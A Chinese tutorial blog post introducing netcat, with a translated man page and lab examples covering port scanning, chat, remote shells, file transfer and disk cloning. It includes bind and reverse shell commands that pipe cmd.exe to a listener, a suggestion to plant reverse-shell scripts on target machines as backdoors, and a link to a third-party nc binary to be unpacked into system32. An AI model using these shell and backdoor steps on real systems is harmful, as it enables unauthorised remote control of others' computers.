网络工具中的瑞士军刀——netcat工具简介

今天给大家带来netcat这款工具的简单介绍。netcat有着“网络工具中的瑞士军刀”的绰号。它体积小巧,功能却又十分强大。下面的内容包括,man手册翻译、常用参数介绍及例子。
一、man手册翻译
名称
nc - TCP/IP 瑞士军刀
概要
nc [-选项] 主机名 端口 [端口]…
nc -l -p 端口 [-选项] [主机名] [端口]
描述
netcat是一种简单的unix实用程序,它使用TCP或UDP协议在网络连接上读取和写入数据。它被设计成一个可靠的“后端”工具,可以是直接或容易被其他程序和脚本所驱动。同时,它是一个功能丰富的网络调试和开发工具,因为它几乎可以创建你需要的任何类型的连接并且有几个有趣的内置功能。Netcat,或称为“nc”,作为实际程序的名称,应该是很久以前提供的,这是一种模糊定义但标准的Unix工具。
在最简单的用法中,“nc 主机 端口”为给定的目标主机上的给定端口创建TCP连接。然后,您的标准输入被发送到主机,任何通过连接返回的内容都会发送到您的标准输出。这种情况会一直持续下去,直到连接的网络端关闭。请注意,此行为与大多数其他应用程序不同,这些应用程序在标准输入结束后关闭所有文件并退出。
Netcat也可以作为一个服务器,通过监听任意端口上的入站连接,然后进行相同的读取和写入操作。对于小范围的限制,netcat并不真正关心它是否在“客户端”或“服务器”模式下运行——它仍然会来回地挖掘数据直到不再有剩余。在任何一种模式下,在网络端可配置的不活动时间之后,可以强制关闭。
它也可以通过UDP实现这一点,因此,netcat也许是你一直想要用来测试你的UDP模式服务器的“UDP telnet-like”应用。正如“U”所暗示的,提供的更少可靠的数据传输比TCP连接和一些系统可能在发送大量数据时遇到麻烦,但是它仍然是一个有用的能力。
您可能会问“为什么不直接使用telnet连接任意端口?”这是一个合理的问题,这里是其中一些原因。Telnet有“standard input EOF”问题,所以必须在驱动脚本中引入计算延迟,以允许网络输出完成。这是netcat在网络端关闭之前一直运行的主要原因。Telnet也不会传输任意二进制数据,因为某些字符被解释为telnet选项,因此从数据流中删除。Telnet也会发出一些对标准输出的诊断消息,netcat将这些信息与它的输出隔离开来,并且永远不会修改传输中的任何真实数据,除非您真的想要。当然,telnet不能监听入站连接,也不能使用UDP。Netcat没有任何这些限制,比telnet更小、更快,而且还有许多其他优点。
选项
-c string        在连接之后指定shell命令(谨慎使用)。该字符串被传递到/bin/sh-c执行。如果您没有工作/bin/sh,请参阅-e选项(请注意,符合posix的系统必须有一个)。
-e filename      在连接之后执行指定文件(谨慎使用)。请参阅-c选项以增强功能。
-g gateway      源路由跳点,最多为8
-G num            源路由指针:4、8、12、 …
-h    显示帮助
-i secs              发送线路,端口扫描的延迟间隔。
-l                      监听模式,对于入站连接。
-n                     只有数字的IP地址,没有域名服务器。
-o file              十六进制转储传输。
-p port            本地端口号(端口号可以是个人的或者是范围:低-高 [包含的])
-q seconds      在标准输入的EOF后,等待规定的秒数然后退出。如果秒数是负数,永远等待。
-b                    允许UDP广播
-r                     随机化本地和远程端口
-s addr            当前的源地址
-t                     使telnet顺利通过
-u                    UDP模式
-v                    冗长(使用两次可以更冗长)。ps.即显示详细信息
-w secs            连接和最终网络读取的超时
-C                     在行尾发送回车换行
-z                      零读写模式(用于扫描)
-T type    设置TOS标志(类型可以是”Minimize-Delay”, “Maximize-Throughput”, “Maximize-Reliability”, or “Minimize-Cost”的其中之一)
二、常用参数介绍及例子
1、端口扫描
局域网内有一台主机,IP地址为192.168.3.242,现通过nc扫描其20-30的端口。

# nc -v -n -z 192.168.3.242 20-30

这里写图片描述

-v是显示详细信息(verbose),-n是不进行域名解析只接IP地址,-z是零读写,是扫描时常用的参数。
2、聊天服务器
局域网有两台主机,其中一台作为服务器IP地址是192.168.3.119,监听了333端口。另一台作为客户端连接服务器。可以实现两台主机之间的聊天。在这里服务器和客户端在连接后其实没什么区别。
服务器:nc -l -p 333
客户端:nc -n -v 192.168.3.119 333

这里写图片描述

-l是侦听模式,用于截获网络中经过的流量;-p后面接本地端口。

形如这种客户端连接服务器的连接形式我们称之为正向连接。相反地,服务器连接客户端叫做反向连接,通常可以用作木马留后门。当然在这个例子里面体现不出来区别,接下来会展示远程控制中,正向连接和反向连接的区别。

3、远程控制
局域网内有kalilinux IP:192.168.3.119,WIN10 IP:192.168.3.237。WIN10作为服务器,用kali连接它。
我们先尝试正向连接。打开WIN10的任意端口(本例为333),把cmd.exe 重定向到333端口。

nc -l -p 333 -e c:\windows\system32\cmd.exe

然后用kali连接该主机的333端口。

# nc -nv 192.168.3.237 333

这样客户端就获得了服务器的一个shell

这里写图片描述

接下来,我在入站规则里面禁用了nc,再尝试正向连接,看看还能不能成功?

这里写图片描述

长时间没反应,连接不上了。

这里写图片描述

一般来说,服务器为了安全考虑会通过入站规则设置禁止外部主机对其进行连接。但是对服务器连接外部主机的限制却比较小。下面介绍通过反向连接方式对服务器进行远程控制。

首先,打开客户端的任意端口(本例定为333),开启侦听模式,捕获通过该端口的所有流量。

# nc -v -l -p 333

这里写图片描述

然后,让服务器连接客户端的指定端口,将cmd重定向发送过去。

nc -n -v 192.168.3.119 333 -e c:\windows\system32\cmd.exe

连接成功!

这里写图片描述

反向连接可以用作木马留后门。把反向连接特定主机的命令写进脚本,放置在对方电脑,开机后台运行。

4、文件传输
下面通过一个简单的例子演示文件传输的过程。还是上例的两台主机,我要将WIN10里的一张图片通过nc重定向发送到kalilinux上。这里继续采用反向连接。
客户端(接收方):

nc -lp 333 > huaji.jpg

服务器(发送方):

nc -nv 192.168.3.119 333 < d:\滑稽.jpg

这样就完成了图片的传输。如果要进行目录传输,可以先用tar工具进行打包后发送,出于节省带宽的考虑也可以进一步压缩再发送。原理相同,这里就不演示了。

5、远程硬盘克隆
服务器端使用管道命令,将磁盘文件重定向到333端口。

dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1

接收端

# nc -lp 333 | dd of=/dev/sda

以上是netcat一些简单功能的介绍,这款工具还有很多有趣的功能等待我们去发掘,例如还可以通过内置的加密工具进行加密传输,搭建一个流媒体播放器等等。最后,附上windows系统版本netcat及使用方法。
下载链接:http://pan.baidu.com/s/1c21ZJCc
使用方法:将压缩包内所有文件解压到C:\windows\system32
然后就可以在命令行输入nc命令了。

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值